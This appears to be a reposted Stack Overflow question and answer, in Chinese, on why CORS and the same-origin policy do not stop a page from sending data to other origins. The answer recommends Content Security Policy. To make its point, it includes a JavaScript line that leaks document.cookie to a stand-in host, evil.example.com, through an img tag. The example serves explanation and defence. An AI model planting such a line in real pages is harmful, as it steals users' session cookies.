gpt4 book ai didi

javascript - 为什么 CORS 允许向任何服务器发送数据?

转载 作者:行者123 更新时间:2023-11-30 08:00:14 25 4
gpt4 key购买 nike

我花了一些时间来了解如何 Cross-Origin-Resource-Sharing行得通,我不敢相信这怎么设计得如此不安全。

当托管在 foo.com 上的网站想要通过 ajax 请求存储在 bar.com 上的资源时,浏览器会询问 bar.com 如果请求被允许。仅当 bar.com 明确允许来自 foo.com 的异步请求(通过 Access-Control-Allow-Origin 响应 header )时,资源交付给客户。

如果应该读取数据,这不是安全问题。但如果数据被发送到请求的服务器,它就是。

过去,如果黑客成功地在网站中插入 JavaScript 代码以窃取 cookie 数据或其他信息,Same-Origin-Policy防止他可以将信息直接发送到他自己的服务器。

但是多亏了 CORS,黑客可以通过启用任何来源直接将窃取的信息发送到他自己的服务器。

我知道,CORS 仍在开发中,但已经被几乎所有主流浏览器支持。那么,CORS为什么要这样设计呢?如果向原始服务器请求发送 ajax 请求的权限,会不会更安全?

在我看来,这是安全性的下降。或者不是吗?我发现的所有与 CORS 相关的“已知问题”都与请求的服务器上的弱配置有关。

最佳答案

同源策略纯粹是为了防止一个源读取来自另一个源的资源。您描述的副作用——阻止一个来源发送数据到另一个来源——从来都不是同源策略目的的一部分。

事实上,从 Web 诞生之初就从未禁止过将数据发送到另一个来源。您的浏览器始终发送跨域请求:任何时候遇到跨域 <img> , <script> , <iframe>等。同源策略只是限制脚本读取这些资源的能力;它从未限制浏览器获取它们并将它们显示给用户的能力。

考虑以下代码:

var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;

这会创建:

<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">

这会将 cookie 数据发送到 evil.example.com当它被添加到页面的 DOM 时。同源策略从未阻止过这种行为。

如果您对允许您的页面发送数据的来源白名单感兴趣,您需要 content security policy ,它被明确设计为一种 XSS 缓解机制。

关于javascript - 为什么 CORS 允许向任何服务器发送数据?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29951847/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com